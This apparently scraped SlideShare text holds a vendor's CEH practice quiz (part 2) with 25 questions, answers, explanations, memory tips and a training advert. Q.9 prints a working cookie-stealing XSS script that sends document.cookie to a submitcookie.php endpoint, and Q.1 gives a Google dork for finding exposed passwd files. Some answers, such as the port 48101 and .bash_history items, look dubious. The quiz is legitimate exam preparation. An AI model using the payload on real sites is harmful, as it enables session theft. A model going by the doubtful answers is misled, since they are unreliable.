CEH Exam Practice Questions and Answers Part - 2.pdf
0 likes102 views
Are you ready to outsmart hackers and ace your Certified Ethical Hacker (CEH) exam? ๐๐ป Weโve compiled 23 high-yield, exam-style questions based on the latest CEH domainsโdesigned to sharpen your skills, boost your confidence, and reinforce core concepts through real-world scenarios. ๐จ Topics covered: โ Google Dorking โ Port Scanning Techniques โ Ransomware Defense โ Privilege Escalation โ Wireless & Web Attacks โ Rootkits, XSS, and more! Each question includes: ๐ Realistic exam-style scenarios ๐ Detailed explanations ๐ Quick memory hacks ๐ก Whether you're revising or just starting your prep, this series is your secret weapon.
![www.infosectrain.com 23
Q.21. John is investigating web application ๏ฌrewall logs and notices an
attempt to inject the following code:
char buff[10];
buff[10] = 'a';
What type of attack is this?
Answer: C. Buffer over๏ฌow
Explanation: A buffer over๏ฌow attack occurs when a program writes data
beyond the allocated memory buffer. In this case, buff[10] = 'a'; attempts to
write outside the bounds of the buffer, which can cause memory corruption,
crashes, or remote code execution.
Answer: C. Buffer over๏ฌow
Explanation: A buffer over๏ฌow attack occurs when a program writes data
beyond the allocated memory buffer. In this case, buff[10] = 'a'; attempts to
write outside the bounds of the buffer, which can cause memory corruption,
crashes, or remote code execution.
SQL injection
CSRF
Buffer over๏ฌow
XSS
Directory traversal
SQL Injection: Injects malicious SQL queries into a database.
CSRF (Cross-Site Request Forgery): Tricks users into executing unwanted
actions.
Buffer Over๏ฌow: Overwrites memory, leading to crashes or exploits.
XSS (Cross-Site Scripting): Injects malicious JavaScript into web pages.
Directory Traversal: Gains unauthorized access to system ๏ฌles.
STUDY TIP](https://image.slidesharecdn.com/cehexampracticequestionsandanswerspart-2-250422115623-0025d465/85/CEH-Exam-Practice-Questions-and-Answers-Part-2-pdf-23-320.jpg)
CEH Exam Practice Questions and Answers Part - 2.pdf
- 1. www.infosectrain.com 03 www.infosectrain.com 01 Exam Practice Questions and Answers CEH (Certi๏ฌed Ethical Hacker) Part 2 www.infosectrain.com
- 2. www.infosectrain.com 02 Introduction Think you have what it takes to become an Ethical Hacker? Think again! The Certi๏ฌed Ethical Hacker (CEH) exam is not just another cybersecurity certi๏ฌcation; itโs a rigorous test that challenges even the most seasoned professionals. With 125 complex multiple-choice questions covering 20 in-depth modules, this exam is designed to push your limits in ethical hacking techniques, reconnaissance, vulnerability exploitation, cloud computing, and more. But hereโs the real challenge: not all topics carry the same weightage. Some modules, like System Hacking and Reconnaissance, demand in-depth knowledge. However, others focus on cloud security, IoT vulnerabilities, and mobile threats, making it crucial to strategize your study plan wisely. Thatโs exactly why weโve compiled this guide, a handpicked selection of the top CEH exam practice questions crafted to reinforce key concepts and enhance your exam readiness. Each question is designed to mimic real exam scenarios, providing detailed explanations and quick memory hacks to reinforce your learning. So, are you ready to test your skills and see if you can think like a hacker? Letโs dive into part 2.
- 3. www.infosectrain.com 03 Q.1. A hacker uses the following Google search operator: intitle:index of passwd to ๏ฌnd sensitive ๏ฌles online. What type of attack is this? Phishing SQL injection Google hacking Cross-site scripting (XSS) "Google = Open Book"โHackers use search engines to ๏ฌnd weak points. Prevent exposure by disabling directory indexing and using robots.txt ๏ฌles. STUDY TIP Answer: C. Google hacking Explanation: Google hacking (also called Google dorking) leverages advanced search operators to ๏ฌnd exposed directories, passwords, and sensitive data on public websites. Answer: C. Google hacking Explanation: Google hacking (also called Google dorking) leverages advanced search operators to ๏ฌnd exposed directories, passwords, and sensitive data on public websites. CEH (Certi๏ฌed Ethical Hacker) Exam Practice Questions and Answers
- 4. www.infosectrain.com 03 Q.2. A tester successfully exploits a web application vulnerability and gains access to the backend database. What should they do next according to ethical hacking guidelines? Download all records for analysis Report the vulnerability immediately Modify database entries for testing Leave a backdoor for future testing Answer: B. Report the vulnerability immediately Explanation: Ethical hacking is about responsible security testing. After discovering a ๏ฌaw, the Ethical Hacker must document the issue and report it to the organization without causing damage. Answer: B. Report the vulnerability immediately Explanation: Ethical hacking is about responsible security testing. After discovering a ๏ฌaw, the Ethical Hacker must document the issue and report it to the organization without causing damage. "Find It, Report It"โFollowing proper responsible disclosure protects both the hacker and the organization. Always act ethically! STUDY TIP
- 5. www.infosectrain.com 05 Q.3. A company's security team detects repeated failed login attempts from multiple IPs on their SSH server. What type of attack is likely happening? SQL injection Brute-force attack Cross-site request forgery (CSRF) DNS spoo๏ฌng Answer: B. Brute-force attack Explanation: A brute-force attack attempts to guess passwords by systematically trying different combinations until access is granted. Answer: B. Brute-force attack Explanation: A brute-force attack attempts to guess passwords by systematically trying different combinations until access is granted. STUDY TIP "Slow It Down"โImplement account lockouts, CAPTCHA, and Multi-factor Authentication (MFA) to defend against brute-force attacks.
- 6. www.infosectrain.com 06 Q.4. What is the most effective way to prevent privilege escalation attacks? Using strong passwords Implementing least privilege access control Disabling unused ports Encrypting all stored data "Less is More"โThe fewer privileges an account has, the less damage an attacker can do! STUDY TIP Answer: B. Implementing least privilege access control Explanation: Least privilege access control ensures users and applications only have the permissions they need, reducing the risk of privilege escalation. Answer: B. Implementing least privilege access control Explanation: Least privilege access control ensures users and applications only have the permissions they need, reducing the risk of privilege escalation.
- 7. www.infosectrain.com 03 Q.5. Which of the following methods is most effective for detecting and stopping ransomware attacks? Antivirus software Regular data backups and endpoint detection Disabling macros in Microsoft Of๏ฌce Changing user passwords frequently Answer: B. Regular data backups and endpoint detection Explanation: Ransomware protection relies on secure backups and real-time endpoint detection to mitigate the impact of an attack. Answer: B. Regular data backups and endpoint detection Explanation: Ransomware protection relies on secure backups and real-time endpoint detection to mitigate the impact of an attack. STUDY TIP "Backup, Detect, Protect"โRegular backups and ransomware-speci๏ฌc defenses can prevent costly data loss.
- 8. www.infosectrain.com 08 Q.6. Jane, an Ethical Hacker, is testing an organizationโs web server and website for security vulnerabilities. She copied the entire website onto her local drive to analyze its directory structure, ๏ฌle structure, external links, images, and web pages. This information helps her map the websiteโs directories and gather valuable insights. What attack technique did Jane use? Web cache poisoning Session hijacking Website mirroring Website defacement Directory traversal Answer: C. Website mirroring Explanation: Website mirroring is the process of copying an entire website, including its content, structure, and resources, for analysis. Ethical Hackers use this technique to identify security ๏ฌaws in web applications, while malicious actors may use it for phishing attacks or reconnaissance. Answer: C. Website mirroring Explanation: Website mirroring is the process of copying an entire website, including its content, structure, and resources, for analysis. Ethical Hackers use this technique to identify security ๏ฌaws in web applications, while malicious actors may use it for phishing attacks or reconnaissance. Web cache poisoning: Injects malicious content into cached responses. Session hijacking: Steals session cookies to impersonate users. Website mirroring: Clones a site for analysis or phishing. Website defacement: Modi๏ฌes a websiteโs content maliciously. Directory traversal: Accesses restricted directories on a web server. STUDY TIP
- 9. www.infosectrain.com 09 Q.7. Clark, a professional hacker, created and con๏ฌgured multiple domains pointing to the same host, allowing him to switch quickly between domains to evade detection. What adversary behavior does this represent? Unspeci๏ฌed proxy activities Use of command-line interface Data staging Use of DNS tunneling Fast ๏ฌux technique Answer: E. Fast ๏ฌux technique Explanation: Fast ๏ฌux is a technique where attackers rapidly change IP addresses and domain associations to evade detection. By using multiple domains pointing to the same host, attackers make it dif๏ฌcult for security systems to block their malicious infrastructure. This technique is commonly used in botnets, phishing, and malware distribution. Answer: E. Fast ๏ฌux technique Explanation: Fast ๏ฌux is a technique where attackers rapidly change IP addresses and domain associations to evade detection. By using multiple domains pointing to the same host, attackers make it dif๏ฌcult for security systems to block their malicious infrastructure. This technique is commonly used in botnets, phishing, and malware distribution. Unspeci๏ฌed proxy activities: Uses proxy servers to mask identity. Use of command-line interface: Executes attacks via CLI tools. Data staging: Prepares data before ex๏ฌltrating it. Use of DNS tunneling: Hides malicious traf๏ฌc within DNS queries. Fast ๏ฌux technique: Rapidly switches domains/IPs to evade detection. STUDY TIP
- 10. www.infosectrain.com 10 Q.8. Sam, a Penetration Tester at InfosecTrain, was assigned to perform port scanning on a target host. He sent FIN/ACK probes, and the target host responded with an RST packet, indicating that the port is closed. Which port scanning technique did Sam use? IDLE/IPID header scan Xmas scan ACK ๏ฌag probe scan TCP Maimon scan FIN scan Answer: C. ACK ๏ฌag probe scan Explanation: The ACK ๏ฌag probe scan is used to determine the state of ๏ฌrewall rules and identify whether ports are ๏ฌltered or un๏ฌltered. When an ACK probe is sent: If an RST packet is received, the port is un๏ฌltered (closed). If no response or an ICMP unreachable message is received, the port is ๏ฌltered (likely blocked by a ๏ฌrewall). Answer: C. ACK ๏ฌag probe scan Explanation: The ACK ๏ฌag probe scan is used to determine the state of ๏ฌrewall rules and identify whether ports are ๏ฌltered or un๏ฌltered. When an ACK probe is sent: If an RST packet is received, the port is un๏ฌltered (closed). If no response or an ICMP unreachable message is received, the port is ๏ฌltered (likely blocked by a ๏ฌrewall). IDLE/IPID header scan: Uses a โzombieโ host to perform stealth scanning. Xmas scan: Sends FIN, PSH, and URG ๏ฌags; works on UNIX-based systems. ACK ๏ฌag probe scan: Identi๏ฌes ๏ฌltered vs. un๏ฌltered ports. TCP Maimon scan: Similar to FIN scan, but bypasses some ๏ฌrewalls. FIN scan: Uses FIN ๏ฌag to check if ports are open on UNIX systems. STUDY TIP
- 11. www.infosectrain.com 11 Q.9. Judy created a forum where users can post comments and images. One day, she noticed that a user was posting strange images without any comments. Concerned, she contacts a security expert, who discovers the following hidden code behind those images: <script> document.write('<img src="https://localhost/submitcookie.php?cookie=' + escape(document.cookie) + '" />'); </script> The code redirects the user to another site. The code injects a new cookie into the browser. The code is a virus that attempts to gather the userโs username and password. The PHP ๏ฌle silently executes the code and grabs the userโs session cookie and session ID. The code modi๏ฌes the forum database to create a backdoor. Answer: D. The PHP ๏ฌle silently executes the code and grabs the userโs session cookie and session ID. Explanation: The code is an example of Cross-Site Scripting (XSS). It steals the userโs session cookies by sending them to an attacker's server (submitcookie.php). With a stolen session cookie, an attacker can hijack the userโs session, gaining unauthorized access to their account. Answer: D. The PHP ๏ฌle silently executes the code and grabs the userโs session cookie and session ID. Explanation: The code is an example of Cross-Site Scripting (XSS). It steals the userโs session cookies by sending them to an attacker's server (submitcookie.php). With a stolen session cookie, an attacker can hijack the userโs session, gaining unauthorized access to their account.
- 12. www.infosectrain.com 12 XSS Attack: Injects malicious scripts into web pages. Session Hijacking: Steals session cookies for unauthorized access. Mitigation: Use HTTPOnly and Secure cookie attributes, input validation, and Content Security Policy (CSP). Stored XSS: Malicious code is permanently stored on the site. Re๏ฌected XSS: Malicious code is executed only when a user clicks a crafted link. STUDY TIP Q.10. A hacker sends a malicious script disguised as an image ๏ฌle to a victim. When the victim opens the ๏ฌle, their browser executes the script, stealing their session tokens. What type of attack is this? SQL injection Cross-site Scripting (XSS) Command injection XML External Entity (XXE) attack Answer: B. Cross-site Scripting (XSS) Explanation: XSS attacks inject malicious scripts into web pages that execute in the victimโs browser, allowing attackers to steal session cookies and sensitive data. Answer: B. Cross-site Scripting (XSS) Explanation: XSS attacks inject malicious scripts into web pages that execute in the victimโs browser, allowing attackers to steal session cookies and sensitive data. "Never Trust User Input"โAlways validate, sanitize, and encode user input to prevent XSS attacks! STUDY TIP
- 13. www.infosectrain.com 13 Q.11. Which type of wireless attack involves capturing authentication handshakes to crack Wi-Fi passwords? Rogue access point attack Evil twin attack WPA2 handshake capture attack Bluetooth snif๏ฌng Answer: C. WPA2 handshake capture attack Explanation: Attackers capture WPA2 handshake packets using tools like Aircrack-ng and attempt to crack the Wi-Fi password through brute force. Answer: C. WPA2 handshake capture attack Explanation: Attackers capture WPA2 handshake packets using tools like Aircrack-ng and attempt to crack the Wi-Fi password through brute force. STUDY TIP "Strong Passwords Win"โUse long, complex Wi-Fi passwords and enable WPA3 if possible!
- 14. www.infosectrain.com 14 Q.12. Susan, a Software Developer, wants her web API to update other applications with the latest information. She uses a user-de๏ฌned HTTP callback or push API that triggers events to supply data in real-time, allowing users to receive instant updates. What technique is she using? Answer: A. Webhooks Explanation: Webhooks are event-driven HTTP callbacks that automatically send data to other applications when a trigger event occurs. Unlike REST APIs that require polling, webhooks push real-time updates, improving ef๏ฌciency and reducing server load. Answer: A. Webhooks Explanation: Webhooks are event-driven HTTP callbacks that automatically send data to other applications when a trigger event occurs. Unlike REST APIs that require polling, webhooks push real-time updates, improving ef๏ฌciency and reducing server load. Webhooks REST API SOAP API Web shells Server-Sent Events (SSE) Webhooks: Push-based, triggered by events. REST API: Pull-based, requires periodic requests. SOAP API: Uses XML, a more complex and strict structure. Web shells: Malicious scripts used for remote control. Server-Sent Events (SSE): One-way connection from server to client. STUDY TIP
- 15. www.infosectrain.com 15 Q.13. A Red Team Tester wants to remain undetected while scanning an internal network. Which Nmap option should they use? -T5 -A -sS -sT Answer: C. -sS Explanation: The SYN scan (-sS) is stealthier than a full TCP connect scan because it does not complete the three-way handshake, making it harder for IDS/IPS systems to detect. Answer: C. -sS Explanation: The SYN scan (-sS) is stealthier than a full TCP connect scan because it does not complete the three-way handshake, making it harder for IDS/IPS systems to detect. -T5: Too fast, easily detected. Trick: "Turbo = Trouble." -A: Aggressive mode, loud scan. Trick: "A for Alert." -sS: Stealthy, avoids full handshake. Trick: "Silent SYN." -sT: Full handshake, easily logged. Trick: "T for Tracked. STUDY TIP "Stealth is Key"โUse SYN scans for quiet reconnaissance and avoid detection.
- 16. www.infosectrain.com 16 Q.14. During the enumeration phase, Lawrence performs banner grabbing to gather information such as OS details and service versions. He targets a service running on TCP port 445. Which service did Lawrence enumerate? Answer: D. Server Message Block (SMB) Explanation: Server Message Block (SMB) operates on TCP port 445 and is used for ๏ฌle sharing, printer access, and network communication in Windows environments. Attackers often enumerate SMBs to extract user accounts and shared resources as well as exploit vulnerabilities like EternalBlue. Answer: D. Server Message Block (SMB) Explanation: Server Message Block (SMB) operates on TCP port 445 and is used for ๏ฌle sharing, printer access, and network communication in Windows environments. Attackers often enumerate SMBs to extract user accounts and shared resources as well as exploit vulnerabilities like EternalBlue. Remote Procedure Call (RPC) Telnet Network File System (NFS) Server Message Block (SMB) Secure Shell (SSH) RPC (Remote Procedure Call): Runs on port 135, used for inter-process communication. Telnet: Runs on port 23 and provides remote command-line access. NFS (Network File System): Runs on port 2049, and allows ๏ฌle sharing in UNIX/Linux. SMB (Server Message Block): Runs on port 445, used for Windows ๏ฌle sharing. SSH (Secure Shell): Runs on port 22 and encrypts remote administration sessions. STUDY TIP
- 17. www.infosectrain.com 17 Q.15. An attacker sets up a fake Wi-Fi hotspot with a name similar to a nearby legitimate network to trick users into connecting. What is this attack called? DNS Spoo๏ฌng Evil Twin Attack Rogue DHCP Attack SSID Flooding Answer: B. Evil Twin Attack Explanation: Evil Twin attacks involve setting up a rogue wireless access point that mimics a legitimate one, tricking users into connecting and exposing their credentials. Answer: B. Evil Twin Attack Explanation: Evil Twin attacks involve setting up a rogue wireless access point that mimics a legitimate one, tricking users into connecting and exposing their credentials. STUDY TIP "Always Verify Wi-Fi"โBefore connecting, verify the Wi-Fi network name and ask IT for con๏ฌrmation!
- 18. www.infosectrain.com 18 Q.16. An attacker successfully installs a keylogger on a victim's machine to capture sensitive credentials. What type of attack is this? Spyware attack Phishing attack Rootkit attack Denial-of-Service (DoS) attack Answer: A. Spyware attack Explanation: Spyware is malicious software designed to secretly record user activity, such as keystrokes, and send it to attackers. Answer: A. Spyware attack Explanation: Spyware is malicious software designed to secretly record user activity, such as keystrokes, and send it to attackers. STUDY TIP "KEY = Keep Examining Your system"โRun frequent malware scans and avoid unknown software!
- 19. www.infosectrain.com 19 Q.17. What is the most effective way to mitigate a brute-force attack on a login portal? Increasing password complexity Implementing account lockout policies Encrypting all stored passwords Using a VPN Answer: B. Implementing account lockout policies Explanation: Account lockout policies help prevent brute-force attacks by locking accounts after a set number of failed login attempts. Answer: B. Implementing account lockout policies Explanation: Account lockout policies help prevent brute-force attacks by locking accounts after a set number of failed login attempts. STUDY TIP "BLOCK = Brute-force Lockout On Count"โSet up MFA and lockout policies to prevent brute-force attacks!
- 20. www.infosectrain.com 20 Q.18. Which Google advanced search operator helps an attacker ๏ฌnd websites similar to a speci๏ฌed target URL? Answer: B. related: Explanation: The related: operator helps ๏ฌnd websites similar to a speci๏ฌed domain. Attackers use it for competitive analysis, reconnaissance, and expanding target scope during OSINT (Open-Source Intelligence) gathering. Answer: B. related: Explanation: The related: operator helps ๏ฌnd websites similar to a speci๏ฌed domain. Attackers use it for competitive analysis, reconnaissance, and expanding target scope during OSINT (Open-Source Intelligence) gathering. site: related: info: inurl: cache: site: --> Searches within a speci๏ฌc domain (site:example.com). related: --> Finds similar websites (related:example.com). info: --> Displays cached pages and link details (info:example.com). inurl: --> Finds URLs containing speci๏ฌc keywords (inurl:admin). cache: --> Shows Googleโs last cached version of a page (cache:example.com). STUDY TIP
- 21. www.infosectrain.com 21 Q.19. An attacker installs a rootkit that remains undetected in the core components of the operating system, allowing them to maintain access to a machine invisibly. What type of rootkit is this? Answer: C. Kernel rootkit Explanation: A kernel rootkit operates at the operating systemโs core (kernel level), making it extremely dif๏ฌcult to detect and remove. It intercepts system calls, hides processes, and provides persistent backdoor access while remaining invisible to antivirus software. Answer: C. Kernel rootkit Explanation: A kernel rootkit operates at the operating systemโs core (kernel level), making it extremely dif๏ฌcult to detect and remove. It intercepts system calls, hides processes, and provides persistent backdoor access while remaining invisible to antivirus software. Firmware rootkit Hypervisor rootkit Kernel rootkit Hardware rootkit User-mode rootkit Firmware rootkit: Embedded in hardware ๏ฌrmware (BIOS, UEFI). Hypervisor rootkit: Runs beneath the OS, controlling it. Kernel rootkit: Hides in the OS kernel, most stealthy. Hardware rootkit: Resides in system hardware (chipsets). User-mode rootkit: Runs in user space, easier to detect. STUDY TIP
- 22. www.infosectrain.com 22 Q.20. While performing a web application scan, you want to determine the web server version hosting the application. Using the -sV ๏ฌag with Nmap, you receive this response: 80/tcp open http-proxy Apache Server 7.1.6. What information-gathering technique does this describe? Answer: C. Banner grabbing Explanation: Banner grabbing is a technique used to gather information about a service by retrieving its version, operating system, and other metadata. The -sV ๏ฌag in Nmap is speci๏ฌcally used for service version detection, helping security professionals assess potential vulnerabilities. Answer: C. Banner grabbing Explanation: Banner grabbing is a technique used to gather information about a service by retrieving its version, operating system, and other metadata. The -sV ๏ฌag in Nmap is speci๏ฌcally used for service version detection, helping security professionals assess potential vulnerabilities. Dictionary attack Brute forcing Banner grabbing WHOIS lookup Passive reconnaissance Dictionary attack: Uses a pre-compiled list of passwords for cracking. Brute forcing: Tries all possible password combinations. Banner grabbing: Extracts server details from response headers. WHOIS lookup: Retrieves domain registration info. Passive reconnaissance: Collects data without direct interaction. STUDY TIP
- 23. www.infosectrain.com 23 Q.21. John is investigating web application ๏ฌrewall logs and notices an attempt to inject the following code: char buff[10]; buff[10] = 'a'; What type of attack is this? Answer: C. Buffer over๏ฌow Explanation: A buffer over๏ฌow attack occurs when a program writes data beyond the allocated memory buffer. In this case, buff[10] = 'a'; attempts to write outside the bounds of the buffer, which can cause memory corruption, crashes, or remote code execution. Answer: C. Buffer over๏ฌow Explanation: A buffer over๏ฌow attack occurs when a program writes data beyond the allocated memory buffer. In this case, buff[10] = 'a'; attempts to write outside the bounds of the buffer, which can cause memory corruption, crashes, or remote code execution. SQL injection CSRF Buffer over๏ฌow XSS Directory traversal SQL Injection: Injects malicious SQL queries into a database. CSRF (Cross-Site Request Forgery): Tricks users into executing unwanted actions. Buffer Over๏ฌow: Overwrites memory, leading to crashes or exploits. XSS (Cross-Site Scripting): Injects malicious JavaScript into web pages. Directory Traversal: Gains unauthorized access to system ๏ฌles. STUDY TIP
- 24. www.infosectrain.com 24 Q.22. Which common ๏ฌles on a web server, if miscon๏ฌgured, could expose useful information such as verbose error messages to hackers? Answer: B. php.ini Explanation: The php.ini ๏ฌle controls PHP settings, including error reporting and logging. If miscon๏ฌgured, it may expose verbose error messages, ๏ฌle paths, and database credentials, helping attackers exploit vulnerabilities. Answer: B. php.ini Explanation: The php.ini ๏ฌle controls PHP settings, including error reporting and logging. If miscon๏ฌgured, it may expose verbose error messages, ๏ฌle paths, and database credentials, helping attackers exploit vulnerabilities. administration.con๏ฌg php.ini httpd.conf idq.dll web.con๏ฌg administration.con๏ฌg: Not a common web server con๏ฌg ๏ฌle. php.ini: Manages PHP settings, crucial for security. httpd.conf: Con๏ฌgures Apache web server settings. idq.dll: Old IIS indexing service component. web.con๏ฌg: ASP.NET con๏ฌguration ๏ฌle, contains sensitive settings. STUDY TIP
- 25. www.infosectrain.com 25 Q.23. If you suspect an IoT device has been compromised, which port should you block ๏ฌrst? Answer: A. 48101 Explanation: Port 48101 is commonly used by IoT devices for remote access and botnet communication. Attackers often target IoT devices for DDoS attacks, unauthorized control, and data theft. Blocking this port can limit attacker access. Answer: A. 48101 Explanation: Port 48101 is commonly used by IoT devices for remote access and botnet communication. Attackers often target IoT devices for DDoS attacks, unauthorized control, and data theft. Blocking this port can limit attacker access. 48101 443 80 22 23 Port 48101: Used by compromised IoT devices for C2 (Command & Control). Port 443 (HTTPS): Encrypts web traf๏ฌc, usually safe. Port 80 (HTTP): Handles unencrypted web traf๏ฌc. Port 22 (SSH): Used for remote access, often targeted. Port 23 (Telnet): Unsecured remote login, commonly exploited. STUDY TIP
- 26. www.infosectrain.com 26 Q.24. Heatherโs company is adopting a new cloud-hosted customer relationship management (CRM) tool. The provider will handle hardware, OS, software administration, patching, and monitoring, while Heatherโs only task is user account management. What type of cloud solution is this? Answer: A. SaaS (Software as a Service) Explanation: SaaS is a fully managed cloud solution where users access applications over the internet without managing infrastructure, OS, or software updates. Examples include CRM tools (e.g., Salesforce), email services (e.g., Gmail), and collaboration platforms (e.g., Microsoft 365). Answer: A. SaaS (Software as a Service) Explanation: SaaS is a fully managed cloud solution where users access applications over the internet without managing infrastructure, OS, or software updates. Examples include CRM tools (e.g., Salesforce), email services (e.g., Gmail), and collaboration platforms (e.g., Microsoft 365). SaaS CaaS PaaS IaaS FaaS SaaS (Software as a Service): Fully managed software, just use it. CaaS (Container as a Service): Manages containers in the cloud. PaaS (Platform as a Service): Provides a development environment. IaaS (Infrastructure as a Service): Gives virtual machines & storage. FaaS (Function as a Service): Runs serverless functions on demand. STUDY TIP
- 27. www.infosectrain.com 27 Q.25. During a penetration test, you gained access to a user account. You connected to your own machine via the SMB service and entered your login and password in plaintext. Which ๏ฌle must you clean to remove the password? Answer: A. .bash_history Explanation: The .bash_history ๏ฌle logs previously executed commands, including credentials entered in plaintext. Clearing or securely deleting this ๏ฌle prevents password recovery by an attacker or forensic investigator. Answer: A. .bash_history Explanation: The .bash_history ๏ฌle logs previously executed commands, including credentials entered in plaintext. Clearing or securely deleting this ๏ฌle prevents password recovery by an attacker or forensic investigator. .bash_history .xsession-log .bashrc .pro๏ฌle syslog .bash_history: Stores command history, including passwords. .xsession-log: Logs X session events, not commands. .bashrc: Con๏ฌgures bash shell settings, no history. .pro๏ฌle: Loads user environment variables, no history. syslog: Stores system logs, but not user commands. STUDY TIP
- 28. www.infosectrain.com 28 Summary Mastering ethical hacking requires more than theoretical knowledgeโit demands hands-on experience, real-world scenarios, and continuous learning. This guide covered top essential CEH questions, helping you understand key security concepts such as penetration testing, malware analysis, and cryptographic attacks. While self-study is valuable, a structured learning approach accelerates success. InfosecTrainโs CEH Training Course provides: Ready to take the next step? Elevate your CEH preparation with InfosecTrainโs CEH Training Course and become a Certi๏ฌed Ethical Hacker with con๏ฌdence! Enroll now! Visit www.InfosecTrain.com to learn more. Expert-Led Training: Learn from certi๏ฌed CEH professionals with industry experience. Hands-On Labs: Gain practical skills through real-world hacking scenarios. Exam-Focused Content: Covers the latest CEH v13 curriculum, including updated cyber threats and ethical hacking techniques. Flexible Learning Options: Choose from self-paced, instructor-led, or corporate training tailored to your schedule.